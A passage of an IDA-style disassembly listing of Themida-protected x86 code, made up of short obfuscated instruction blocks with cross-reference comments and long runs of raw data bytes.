27E904C4h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552B63: ; CODE XREF: Themida_:00551B73j add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_550956 ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0FFFF08D7h ; --------------------------------------------------------------------------- loc_552B7C: ; CODE XREF: Themida_:0054D2D3j push esp mov edx, [esp] jmp loc_55661A ; --------------------------------------------------------------------------- loc_552B85: ; CODE XREF: Themida_:00551A1Ej push dword ptr [esp] pop ecx push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx jmp loc_54831F ; --------------------------------------------------------------------------- db 89h dd 5BB62414h, 0FF60AAE9h, 581D68FFh, 0C890000h, 78B9B924h dd 0CA29100Bh, 81240C8Bh, 4C4h, 0A5E28100h, 5306DF54h dd 0C57F01BBh, 5BDA29F9h, 0E527652Dh, 33AD2D24h, 0D0016FD8h dd 0FF6995E9h, 55D7F7FFh, 0E9DDFBBDh, 0E9EF29FFh, 1FC8h dd 2B951h, 0C7810000h, 67AF0511h, 0FDE9CF01h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C03: ; CODE XREF: Themida_:00543C3Cj add edi, 9BF6AEDEh sub eax, edi jmp loc_54BE95 ; --------------------------------------------------------------------------- dd 89D68956h, 15A5EF1h, 1C8759CBh, 1ECCE924h, 0C1010000h dd 0E924048Bh, 1548h ; --------------------------------------------------------------------------- loc_552C2C: ; CODE XREF: Themida_:0054BF5Cj and ebp, 679F547Fh push ecx jmp loc_557690 ; --------------------------------------------------------------------------- dd 0CB12ED81h, 6EE9DAB9h, 0C1000011h, 0BF5706EDh, 7CB96798h dd 2911E9h, 3E3C100h, 3025EB81h, 0EBC17329h, 21F26804h dd 4EE90000h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C67: ; CODE XREF: Themida_:0054C340j push dword ptr [esp] pop edx push esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push edx jmp loc_556BB1 ; --------------------------------------------------------------------------- dw 0F281h dd 0EE1CC496h, 28C2C181h, 0D129655Ch, 28C2E981h, 148B655Ch dd 4C48124h, 0E9000000h, 0FFFFF147h, 5251C6BEh, 5EF3013Eh dd 0E95BD989h, 0FFFF111Dh, 8051B753h, 0FA303BF7h, 0FFB7FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_552CC9: ; CODE XREF: Themida_:0055502Fj mov edi, 5522079Dh xor [esp+4], edi jmp loc_54DFB5 ; --------------------------------------------------------------------------- loc_552CD7: ; CODE XREF: Themida_:00545CE1j pop ebx add edi, edx pop edx sub ebp, 2AB302A1h add ebp, edi add ebp, 2AB302A1h pop edi add ebp, 4 jmp loc_553DF4 ; --------------------------------------------------------------------------- dw 5866h dd 6605EEC0h, 63B25253h, 0D3F6DA86h, 2B7AE9h, 0D0F28100h dd 0F7482B41h, 6E2C1DAh, 0DA27EA81h, 0D1316591h, 42C1815Ah dd 132F040h, 240C8BCEh, 5304C483h, 2BBh, 0E8EE8100h, 8115F262h dd 91015EEEh, 0DCC68178h, 1605F3Fh, 0DCEE81DEh, 81605F3Fh dd 91015EC6h, 0E8BF5778h, 115F262h, 1C8B5FFEh, 3AE8E924h dd 0F7890000h, 0FF8A33E9h, 2434FFFFh, 4C4815Eh, 81000000h dd 2C1h, 3436E900h, 805C0000h, 63E968F6h, 5E000035h, 8B24048Fh dd 6E92424h, 5DFFFF51h, 12EFC181h, 0D1292F36h, 965E9h dd 81D72900h, 6F6A0BEFh, 55E9E966h, 0C4810000h, 4, 6807E6C1h dd 7183h, 0FF11E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_552DBD: ; CODE XREF: Themida_:00548CD0j mov esi, 4 add ebx, esi pop esi push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] mov esp, [esp] push ebx mov ebx, esp jmp loc_551875 ; --------------------------------------------------------------------------- dd 0B1EE81h, 0D1E909D9h, 83FFFF05h, 0E95104C4h, 0FFFF70C0h dd 7757E95Ah, 1C89FFFFh, 6EE95224h, 68FFFF0Ch, 4168h, 83242489h dd 5B042404h, 4BA52h, 53510000h, 81E78957h, 4C7h, 4EF8100h dd 87000000h, 895C243Ch, 0E9E92404h, 0B6FFFF68h, 0E9F02824h dd 873h ; --------------------------------------------------------------------------- loc_552E38: ; CODE XREF: Themida_:0055034Fj or esi, 242C747Fh jmp loc_544301 ; --------------------------------------------------------------------------- db 87h dd 685C241Ch, 79EDh, 0FF7DB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_552E51: ; CODE XREF: Themida_:0054A4C0j push ecx push 7260h mov [esp], ebx mov ebx, 2A0C6F1Fh mov ecx, 0E5A8C73Ah add ecx, ebx pop ebx dec ecx push 7E11h mov [esp], edi jmp loc_556A19 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 81240489h, 4ECh, 1F8EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552E86: ; CODE XREF: Themida_:00549330j pop edi xchg ebx, [esp] pop esp mov [esp], edx mov edx, 4 jmp loc_552A84 ; --------------------------------------------------------------------------- loc_552E98: ; CODE XREF: Themida_:0054BE45j push esp pop ecx push edx mov edx, 4 add ecx, edx pop edx sub esp, 4 mov [esp], ebx push ebp mov ebp, 6D64B75h jmp loc_555714 ; --------------------------------------------------------------------------- dd 0DAADE981h, 0CE29700Bh, 5EF38959h, 1C8BD801h, 4C48324h dd 0E9240433h, 0FFFFA5B5h, 4240483h, 0FF2F97E9h, 25BBBFFFh dd 0CF8179D5h, 14FB7735h, 814FD7F7h, 0C093B7C7h, 5FFE09C9h dd 3529E953h db 2 dup(0) word_552EF6 dw 8B66h ; DATA XREF: Themida_:00543084o dd 81502404h, 4ECh, 24248900h, 0FF9071E9h, 3AF68FFh, 34890000h dd 2474FF24h, 0FE69E904h, 0D028FFFFh, 0E960045Ah, 0FFFFF63Ch dd 4BAh, 0E9D08900h, 0FFFFD53Ch ; --------------------------------------------------------------------------- loc_552F30: ; CODE XREF: Themida_:0054645Bj dec esi xchg esi, ebx not ebx shl ebx, 8 shr ebx, 7 add ebx, 0FDB7118Ah add edi, ebx mov ebx, [esp] add esp, 4 add [eax], edi mov edi, [esp] add esp, 4 jmp loc_54BE43 ; --------------------------------------------------------------------------- loc_552F59: ; CODE XREF: Themida_:00553C58j mov edi, 48B81098h jmp loc_54C2A4 ; --------------------------------------------------------------------------- db 50h dd 405E089h, 0E9000000h, 4683h, 5455C5B9h, 0B2E9814Ch dd 0C1359B6Fh, 0C18103E9h, 6B6D5F76h, 2BAC181h, 0F181182Dh dd 0E1F8088Ch, 8159CB89h, 914AC9C1h, 81D9293Dh, 914AC9E9h dd 2DA4E93Dh, 0C6880000h, 24048B66h, 8102C483h, 2ECh, 0C896600h dd 0B725E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552FBE: ; CODE XREF: Themida_:00553C01j mov edi, 4 jmp loc_553511 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFF82F6h ; --------------------------------------------------------------------------- loc_552FD0: ; CODE XREF: Themida_:005579D7j push ebx mov bl, 0A1h inc bl neg bl shl bl, 8 or bl, 6Ah sub bl, 95h xor bl, 13h add dh, bl pop ebx jmp loc_543CD9 ; --------------------------------------------------------------------------- db 89h dd 405E0h, 0C0830000h, 7D86E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552FFA: ; CODE XREF: Themida_:005516FAj inc esi add esi, 0B96F1CFDh sub ebp, esi pop esi neg ebp inc ebp add ebp, 4DD3504Ah xor ebp, 7CFE9628h xor eax, ebp pop ebp push ebx jmp loc_54E20E ; --------------------------------------------------------------------------- loc_55301C: ; CODE XREF: Themida_:00550C3Dj mov esi, esp push ecx jmp loc_54B50D ; --------------------------------------------------------------------------- dd 0BA241489h, 2Ch, 0FFB55AE9h, 28B82CFFh, 66B804D0h, 8324148Bh dd 530402C4h, 0FF5749E9h db 0FFh byte_553045 db 0FFh, 77h, 40h ; DATA XREF: Themida_:00543040o dd 0FF024EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55304D: ; CODE XREF: Themida_:005517CAj push edx mov edx, 2858720Bh mov esi, 0D7A78DF9h add esi, edx mov edx, [esp] add esp, 4 add ebx, 0B4A7148h jmp loc_5562D2 ; --------------------------------------------------------------------------- loc_55306B: ; CODE XREF: Themida_:00543D90j xor edx, [esp] pop esp jmp loc_54F951 ; --------------------------------------------------------------------------- dd 0E987CE87h, 0FF322EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55307D: ; CODE XREF: Themida_:005481F2j not edi add edi, 7F246AD6h add edi, 5F3B7B98h jmp loc_549B83 ; --------------------------------------------------------------------------- dd 20F7BF57h, 68684CA8h, 8900001Ah, 1CF7243Ch, 0EF815F24h dd 0C65A67Bh, 28CDBB53h, 0F3810081h, 6F4B1281h, 15BDD29h dd 4CC581FDh, 5F6FCA3Ah, 34FFE831h, 0C4835D24h, 8BC50104h dd 0C4832404h, 0DEC58104h, 8157315Eh, 1EDh, 0B7ED8100h dd 0E961A5E8h, 0FFFF5F01h ; --------------------------------------------------------------------------- loc_5530E8: ; CODE XREF: Themida_:00549571j mov ebp, esp add ebp, 4 push esi jmp loc_545838 ; --------------------------------------------------------------------------- loc_5530F6: ; CODE XREF: Themida_:0054C041j pop esi push 66ABh mov [esp], edi push 25DFh mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 sub esp, 4 mov [esp], esi jmp loc_551D67 ; --------------------------------------------------------------------------- db 5Dh dd 31241C33h, 0F8E9241Ch db 2Ah, 2 dup(0FFh) byte_55312F db 68h ; DATA XREF: Themida_:00543208o dd 53947h, 0FFB36FE9h db 0FFh ; --------------------------------------------------------------------------- loc_553139: ; CODE XREF: Themida_:00547214j sub esp, 4 jmp loc_549813 ; --------------------------------------------------------------------------- dd 0D188C288h, 59CA885Ah, 8BD03058h, 0C4812414h, 4, 0FF4B54E9h dd 24248BFFh, 51242C89h, 59F2BA52h, 12B9003Fh, 1FFC0A6h dd 0EC815AD1h, 4, 0E9240C89h, 0CDEh ; --------------------------------------------------------------------------- loc_553180: ; CODE XREF: Themida_:0054D32Ej push ebx mov bh, 3Ch xor dl, bh jmp loc_54B774 ; --------------------------------------------------------------------------- dw 487h dd 0B8505C24h, 6CE049Ah, 0EA29710Dh, 78410526h, 782D56DDh dd 0F741F241h, 5EE940D0h, 58FFFF98h, 4C481h, 0EC810000h dd 4, 81241C89h, 34E22434h, 428F0308h, 498EE938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5531CA: ; CODE XREF: Themida_:0054DC41j push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_543985 ; --------------------------------------------------------------------------- loc_5531D7: ; CODE XREF: Themida_:00555908j xchg edi, ebp inc edi jmp loc_54FD68 ; --------------------------------------------------------------------------- db 5Ah dd 49E9CD04h, 5AFFFFD7h, 4C281h, 0C2810000h, 4, 0FF374FE9h dd 5AD331FFh, 1C8BDA01h, 4C48324h, 3160E9h db 0 ; --------------------------------------------------------------------------- loc_553209: ; CODE XREF: Themida_:00548C4Ej mov [esp], edi push eax jmp loc_54ABA3 ; --------------------------------------------------------------------------- dw 0B60Fh aS9_0 db 'юИ9',7,0 align 2 dw 8952h dd 4C281E2h, 50000000h, 4B8h, 58C20100h, 0E9241487h, 0FFFF3769h dd 0D6F7DEF7h, 3233F681h, 0F6811A5Fh, 85CF9B05h, 0E95EF301h dd 26D0h, 0FF004AE9h, 3EAC1FFh, 68h, 242C8100h, 0E7D0D03h dd 0E9241429h, 0FFFF926Dh dword_553268 dd 240C8B66h, 34FF5453h, 89535B24h, 4C381E3h, 83000000h ; DATA XREF: Themida_:0054322Co dd 1C8704C3h, 0C3815C24h, 4, 0FF9505E9h, 81D101FFh, 42226EE9h dd 4DAAE905h, 0D368FFFFh, 8900005Bh, 0E6892434h, 4C681h dd 0EC810000h, 4, 50240C89h, 0B41D0CB8h, 281E935h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5532BE: ; CODE XREF: Themida_:0054ABD1j pop ebp jmp loc_54BFC9 ; --------------------------------------------------------------------------- loc_5532C4: ; CODE XREF: Themida_:00556E86j sub ebp, 47DD21FBh push ecx mov ecx, 0C856E346h sub ebp, ecx pop ecx sub esp, 4 mov [esp], eax push ebp jmp loc_5448F9 ; --------------------------------------------------------------------------- db 0B8h dd 73290633h, 0E128D535h, 0F250E916h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5532EE: ; CODE XREF: Themida_:00544679j and esi, edx pop edx xor esi, 7E7C6AC1h xor ebx, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_54FB81 ; --------------------------------------------------------------------------- dd 335BDA01h, 14312414h, 24143324h, 2434FF5Ch, 81240C8Bh dd 4C4h, 4EC8100h, 89000000h, 0E0892404h, 0FF40BDE9h, 4EC81FFh dd 89000000h, 28F240Ch, 5024148Bh, 405E089h, 0E9000000h dd 4D5Dh ; --------------------------------------------------------------------------- loc_55334C: ; CODE XREF: Themida_:00547433j add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], ecx push esp pop ecx push eax mov eax, 4 push edx jmp loc_551104 ; --------------------------------------------------------------------------- dw 4BFh dd 81000000h, 0E5091BC5h, 67C5816Fh, 0E946CE18h, 0FFFF827Eh dd 0FD4EAEBDh, 2FCBE903h, 489FFFFh, 76BE5624h, 4E575321h dd 4C11E9h db 0 ; --------------------------------------------------------------------------- loc_553399: ; CODE XREF: Themida_:0054B267j mov [esp], ecx push 0A6Dh jmp loc_54DE55 ; --------------------------------------------------------------------------- dw 8966h dd 5166241Ch, 0B128B753h, 5BF900A3h, 3CE9CB88h, 100004Eh dd 0E9042444h, 0FFFF94CFh, 48C78159h, 29C89E00h, 0B22D5FF8h dd 0E964F662h, 2418h, 0FEFEBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5533DD: ; CODE XREF: Themida_:00552190j mov esp, [esp] shr eax, 0Ch xor eax, ecx jmp loc_5434C0 ; --------------------------------------------------------------------------- dw 0EF29h dd 4EC835Dh, 0E9241489h, 0FFFEFEACh, 5051CF88h, 0C188F888h dd 59CE8858h, 0FFEFA0E9h, 2BAFFh, 0D5010000h, 242C335Ah dd 632E9h, 240C8700h, 0FF9BC9E9h, 43D468FFh, 895E0F37h dd 0BB535EF0h, 248D374Bh, 0FF3827E9h, 80C328FFh, 0EB8085C3h dd 92B450C8h, 618E9h db 0 ; --------------------------------------------------------------------------- loc_553445: ; CODE XREF: Themida_:0054FACFj xor ecx, eax sub esp, 4 mov [esp], ecx sub esp, 4 jmp loc_543692 ; --------------------------------------------------------------------------- dd 8904EC83h, 0BB53240Ch, 4, 8904EC83h, 2C81241Ch, 0E34E124h dd 6252E961h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553476: ; CODE XREF: Themida_:00553799j push 67D5h mov [esp], eax mov ah, 0AFh push ecx mov ch, ah mov dl, ch pop ecx pop eax sub dl, cl pop ecx xor dl, bl jmp loc_557864 ; --------------------------------------------------------------------------- db 81h, 0EFh, 1Ah dd 0E903295Dh, 3B18h ; --------------------------------------------------------------------------- loc_55349C: ; CODE XREF: Themida_:0054C8B5j pop edx sub esp, 4 jmp loc_54F798 ; --------------------------------------------------------------------------- db 0FEh, 0C5h, 53h dd 0EB800EB3h, 80D3F66Fh, 0DD00ECF3h, 81241C8Bh, 4C4h dd 0E1F58000h, 5F04E82Ch, 0E5B75366h, 8B66F828h, 0C483241Ch dd 288E2C02h, 11D2E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5534DA: ; CODE XREF: Themida_:0055360Ej push 2D5Ah mov [esp], edx mov edx, 4A1D52C4h sub esp, 4 jmp loc_55710B ; --------------------------------------------------------------------------- loc_5534EF: ; CODE XREF: Themida_:00548FA8j push ecx jmp loc_5478CD ; --------------------------------------------------------------------------- db 81h, 0F5h, 0A1h dd 0C13D1E62h, 0C58106E5h, 885ACD3Dh, 0FF3649E9h, 78B050FFh dd 0FFD0BCE9h db 0FFh ; --------------------------------------------------------------------------- loc_553511: ; CODE XREF: Themida_:00552FC3j add eax, edi jmp loc_54E4DF ; --------------------------------------------------------------------------- dd 0D6F7D6F7h, 582CE681h, 814E3C1Ch, 63E084C6h, 2DF5E9DFh dd 8F540000h, 22E92404h, 8BFFFFCBh, 5EE9242Ch, 0B9FFFF3Bh dd 485B5DD7h, 48BC129h, 3F7B6824h, 1C890000h, 46E95424h dd 0C0FFFF8Ch, 4D2C03E8h, 58C600h, 949BE9FEh, 0C583FFFFh dd 242C8704h, 0E657E95Ch, 48BFFFFh, 4C48124h, 81000000h dd 4ECh, 6936E900h, 34FFFFFFh, 0C4835924h, 2329E904h, 81580000h dd 4C4h, 40500h, 0E9550000h, 0FFFFB044h ; --------------------------------------------------------------------------- loc_5535A4: ; CODE XREF: Themida_:00555B55j mov edx, ebx pop ebx push ecx push ebp mov ebp, 0B9C71ECh mov ecx, 77F15F4Ch xor ecx, ebp pop ebp sub edx, 14D24C0Dh sub edx, ecx jmp loc_544E3A ; --------------------------------------------------------------------------- db 0C1h dd 814104E1h, 0BD16D8E9h, 6DF18110h, 2994E79Eh, 240C8BCBh dd 0C104C483h, 0EB8303EBh, 1EB8301h, 3CA8C381h, 0DF3125A6h dd 8BFA015Bh, 0C483243Ch, 4EC8104h, 89000000h, 8BD242Ch dd 0F7424002h, 0E9DDF7DDh, 0FFFF8B2Dh ; --------------------------------------------------------------------------- loc_55360C: ; CODE XREF: Themida_:0054951Bj not ecx jmp loc_5534DA ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54BA24 ; --------------------------------------------------------------------------- dd 5C241C87h, 54240C89h, 0E92434FFh, 0FFFF81BBh, 0F268665Ah dd 1C896604h, 405B724h, 2CF82898h, 0E95B6698h, 29ABh, 0D4E9D587h dd 51FFFF36h, 0C9FEE1B1h, 6EF468h, 24148900h, 0FF0EDEE9h dd 5EE568FFh, 0D6E90000h db 28h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55366F: ; CODE XREF: Themida_:005451F9j push ecx mov ecx, esp add ecx, 4 jmp loc_54FA99 ; --------------------------------------------------------------------------- db 66h, 51h, 9Ch dd 0FEFC16E9h, 0CFE957FFh, 68FFFFACh, 551Fh, 0E9243C89h dd 320h, 0CAD8EB81h, 0D801E8E2h, 57241C8Bh, 71E9E789h dd 5AFFFF14h, 1227E9h, 24348100h, 20477269h, 72693558h dd 3C8B2047h, 4C48124h, 1000000h, 0E95258C5h, 0FFFFFD39h dword_5536D0 dd 8FCDE9ADh, 0EC83FFFFh, 243C8904h, 0FFBEF1E9h ; DATA XREF: Themida_:00542FDCo db 0FFh ; --------------------------------------------------------------------------- loc_5536E1: ; CODE XREF: Themida_:0054A777j push esp mov esi, [esp] add esp, 4 push 9E6h mov [esp], edi mov edi, 44F87FB1h push 0 jmp loc_54D9D3 ; --------------------------------------------------------------------------- dw 0E981h dd 2F3612EFh, 240C875Ah, 0FFBF96E9h db 0FFh ; --------------------------------------------------------------------------- loc_553711: ; CODE XREF: Themida_:00558343j sub edi, 90002FCh push edi push 3A0418BBh mov edi, [esp] add esp, 4 jmp loc_549B9F ; --------------------------------------------------------------------------- db 66h dd 6666ADBDh, 5D66E829h, 47BF0566h, 33BD6655h, 0ED81664Eh dd 55666DC3h, 2404FF66h, 242C8B66h, 0E902C483h, 637h ; --------------------------------------------------------------------------- loc_553754: ; CODE XREF: Themida_:00551F79j mov dl, ch mov ah, dl pop edx mov bl, ah pop eax pop ecx jmp loc_555808 ; --------------------------------------------------------------------------- loc_553762: ; CODE XREF: Themida_:0054DFB0j xor eax, ecx jmp loc_553853 ; --------------------------------------------------------------------------- byte_553769 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005430C0o dd 68240C8Bh, 5149h, 89243C89h db 0E7h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54AE36 ; --------------------------------------------------------------------------- db 0D1h, 0EBh, 81h dd 433A31F3h, 5BD82915h, 5E9D829h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553793: ; CODE XREF: Themida_:00543CDAj mov bl, dh mov cl, bl pop ebx pop edx jmp loc_553476 ; --------------------------------------------------------------------------- loc_55379E: ; CODE XREF: Themida_:00545E63j add ebp, eax jmp loc_555B5A ; --------------------------------------------------------------------------- loc_5537A5: ; CODE XREF: Themida_:0054D613j mov bh, 0CEh mov al, 6Ch add al, bh mov ebx, [esp] add esp, 4 push 3410h mov [esp], edx sub esp, 4 mov [esp], ebx push 42A1h mov [esp], ecx mov ch, al push eax jmp loc_551F78 ; --------------------------------------------------------------------------- db 59h, 81h, 0C5h dd 0EEA41D93h, 0FF7184E9h, 3095B7FFh, 6640E9F9h, 2C8BFFFFh dd 4C48324h, 0FFEC4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5537F5: ; CODE XREF: Themida_:005559BAj sub edx, 99B59B98h loc_5537FB: ; CODE XREF: Themida_:00551283j ; Themida_:00555A31j push edx push esp pop edx jmp loc_549BD9 ; --------------------------------------------------------------------------- loc_553803: ; CODE XREF: Themida_:0054AB79j add edi, 358511E6h or edi, 6E251449h sub edi, 0FF6F7F6Bh add eax, edi pop edi xchg eax, [esp] pop esp jmp loc_54B958 ; --------------------------------------------------------------------------- db 56h, 83h, 0ECh dd 242C8904h, 0FFFB53E9h db 0FFh ; --------------------------------------------------------------------------- loc_55382D: ; CODE XREF: Themida_:0054D164j inc edi inc edi push eax mov eax, 72A31199h shr eax, 3 shr eax, 6 or eax, 440845C5h sub eax, 5C805A2Dh xor edi, eax pop eax sub edx, edi push dword ptr [esp] pop edi jmp loc_551208 ; --------------------------------------------------------------------------- loc_553853: ; CODE XREF: Themida_:00553764j xor eax, esi jmp loc_544AFA ; --------------------------------------------------------------------------- loc_55385A: ; CODE XREF: Themida_:0054BA27j pop esp jmp loc_549855 ; --------------------------------------------------------------------------- dd 3F7064BFh, 0A1E95043h, 51FFFFB8h, 0EE88FD88h, 0D6F65B59h dd 8868EED0h, 8900001Ch, 2EB7241Ch, 2FD6E9h db 0 ; --------------------------------------------------------------------------- loc_553885: ; CODE XREF: Themida_:00543474j pop edi sub esp, 4 jmp loc_5451D7 ; --------------------------------------------------------------------------- dw 0F801h dd 319BA52h, 0D0016111h, 243C8B5Ah, 4C481h, 95E90000h dd 8900002Dh, 0B8662404h, 50665ED1h, 242C8166h, 5F665300h dd 498CE9h, 4C48100h, 33000000h, 3C31243Ch, 0D2B1E924h dd 159FFFFh, 2434FFF0h, 0F6E9565Eh, 57FFFF6Ah, 0C781E789h dd 4, 2BE56h, 70E90000h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5538EF: ; CODE XREF: Themida_:00548BC6j push edi push edx jmp loc_5565D4 ; --------------------------------------------------------------------------- loc_5538F6: ; CODE XREF: Themida_:0054C24Dj push 673Eh mov [esp], edi push 60574F24h pop edi jmp loc_546E8E ; --------------------------------------------------------------------------- loc_553909: ; CODE XREF: Themida_:0054D76Dj mov edx, 6DF5940h push esi jmp loc_543AFE ; --------------------------------------------------------------------------- dd 0D3F7DBF7h, 3C5CEB81h, 5DE92D11h, 83FFFF4Fh, 0E95704C7h dd 0FFFF1836h ; --------------------------------------------------------------------------- loc_55392C: ; CODE XREF: Themida_:005582BDj mov edi, [esp] jmp loc_54FE00 ; --------------------------------------------------------------------------- dd 0EB80C300h, 15EB80A1h db 51h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5512A9 ; --------------------------------------------------------------------------- loc_55394B: ; CODE XREF: Themida_:0054D7DCj add edx, esi pop esi jmp loc_54869D ; --------------------------------------------------------------------------- db 66h dd 8324148Bh, 0C8904ECh, 45BF6824h, 24890000h, 6F56E924h dd 0C2FEFFFFh, 0E280C2FEh, 7EAC07Eh, 805EC280h, 0D0004DEAh dd 0FFAFCAE9h, 89D529FFh, 0B56FE9EAh, 4D4DFFFFh, 0A5E9DDF7h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553993: ; CODE XREF: Themida_:00543913j shr ecx, 4 inc ecx xor ecx, 24FF00A8h push eax mov eax, 77F07BFCh sub ecx, eax jmp loc_5581EB ; --------------------------------------------------------------------------- loc_5539AA: ; CODE XREF: Themida_:005507BFj shr edi, 8 jmp loc_5435ED ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFAF6Dh, 38A1E950h, 0E95BFFFFh, 0FFFF8051h, 4C481h dd 0C7830000h, 243C3304h, 0E9243C31h, 0FFFFDE02h, 33243C31h dd 0FFE9243Ch, 5CFFFF46h, 0E9240433h, 0FFFF70E9h ; --------------------------------------------------------------------------- loc_5539EC: ; CODE XREF: Themida_:00545C84j sub eax, 4 jmp loc_545A59 ; --------------------------------------------------------------------------- dd 83595A5Dh, 48904ECh, 3FBA5224h, 89388163h, 3B2D5AD0h dd 81388163h, 1B48F7E9h, 81C1014Dh, 1B48F7C1h, 0C183584Dh dd 74FF5102h, 0E9590424h, 0FFFF09EDh ; --------------------------------------------------------------------------- loc_553A28: ; CODE XREF: Themida_:0054F2D6j pop ebp push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] xor al, bh mov bx, [esp] jmp loc_544491 ; --------------------------------------------------------------------------- db 31h dd 2C33242Ch, 24248B24h, 9C240408h, 0FEF83EE9h, 80DCF6FFh dd 0E300C2ECh, 275B6858h, 82E90000h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553A6F: ; CODE XREF: Themida_:00551B04j sub dword ptr [esp+4], 1C3368C5h sub dword ptr [esp+4], 416C27A8h push eax mov eax, 6E945B28h sub [esp+8], eax jmp loc_544C9A ; --------------------------------------------------------------------------- dw 84B8h dd 0F72B340Dh, 0A0BD55D0h, 0F72B8022h, 2B8BE9D5h, 0EB810000h dd 155257B8h, 32F6BF58h, 25E9BC04h, 8BFFFF84h, 0C4812404h dd 4, 0F707EEC1h, 5EE81D6h, 5174FD49h, 0FFE57CE9h db 0FFh ; --------------------------------------------------------------------------- loc_553ACD: ; CODE XREF: Themida_:0054792Cj add edx, 14577FC3h jmp loc_549AA1 ; --------------------------------------------------------------------------- dd 7505CB81h, 0C9E956C7h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553AE3: ; CODE XREF: Themida_:0054C89Fj push 59E6h mov [esp], edi mov edi, 15C94005h shl edi, 6 shr edi, 1 push 191Fh mov [esp], eax sub esp, 4 mov [esp], edi push ebp mov ebp, 6CB973CBh mov edi, 98CD7D6Eh sub edi, ebp pop ebp mov eax, 872252h push 18F1h mov [esp], edx mov edx, 448D3D16h jmp loc_545B41 ; --------------------------------------------------------------------------- dd 429665Ch, 68E99C24h, 89FFFEF7h, 60BA2414h, 813C0333h dd 16203EEAh, 2E2C131h, 0FFD18AE9h db 0FFh ; --------------------------------------------------------------------------- loc_553B49: ; CODE XREF: Themida_:0054D3EDj add ebp, 4 jmp loc_54DD0B ; --------------------------------------------------------------------------- loc_553B54: ; CODE XREF: Themida_:00550815j mov esi, 35D57ABDh push ebx mov ebx, 6CA22162h inc ebx push eax mov eax, 0AC2AADEBh add ebx, eax pop eax add esi, ebx jmp loc_54A9BE ; --------------------------------------------------------------------------- loc_553B70: ; CODE XREF: Themida_:0054546Cj mov [esp], ebp mov ebp, 19250552h xor ebp, 5C9EB323h sub edx, ebp jmp loc_54E158 ; --------------------------------------------------------------------------- aZS7 db '┤<$И7',0Ah,0 dd 24148900h, 42474FFh, 0FFDBE9E9h, 39F181FFh, 81202B35h dd 0B47909C3h, 11B95115h, 49624420h, 0E9C1D1F7h, 3BE98103h dd 102C013h, 0A8E959CBh, 83FFFF06h, 3CE904C5h, 68FFFFD3h dd 4, 5AD7015Ah, 2474FF57h, 8DE95F04h db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553BDB: ; CODE XREF: Themida_:0055788Cj add ecx, ebp pop ebp push eax mov eax, 1C915F81h or eax, 5DD86F7Eh and eax, 14EE2BC7h neg eax neg eax xor eax, 14C82BC3h add ecx, eax pop eax xchg ecx, [esp] mov esp, [esp] push edi jmp loc_552FBE ; --------------------------------------------------------------------------- dw 1C87h dd 8B665C24h, 5455240Ch, 5255535Dh, 0E477E4BAh, 39E1E969h dd 0C6810000h, 4, 4BB53h, 0F7E90000h db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553C2F: ; CODE XREF: Themida_:0054DA26j add esi, 69154FEEh add ebx, esi pop esi push ebp mov ebp, 48B60D01h add ebp, 0B749F303h add ebx, 6ABB7B4Ah sub ebx, ebp jmp loc_547F12 ; --------------------------------------------------------------------------- loc_553C51: ; CODE XREF: Themida_:0054FE73j add edx, 15516E94h push edi jmp loc_552F59 ; --------------------------------------------------------------------------- aFysqFrEiFz db 'fYSQ╠яfR╡┘┬вfZ',0 dd 0EE959CFh, 33000010h, 2C31242Ch, 242C3324h, 6624248Bh dd 0E9C8B60Fh, 0FFFFF612h, 0FEF60EE9h db 0FFh ; --------------------------------------------------------------------------- loc_553C8D: ; CODE XREF: Themida_:0054AF63j add esp, 4 xor eax, 0EAB543Bh jmp loc_544510 ; --------------------------------------------------------------------------- loc_553C9D: ; CODE XREF: Themida_:00556D8Aj add esp, 4 push edx mov edx, 4DA83230h jmp loc_54BB15 ; --------------------------------------------------------------------------- dd offset dword_4F7844+24h align 10h dd 55241489h, 149D6852h, 0A3E931E6h, 5CFFFFA8h, 24048F54h dd 4BA52h, 54010000h, 5B5A0424h, 4C381h, 0F7680000h, 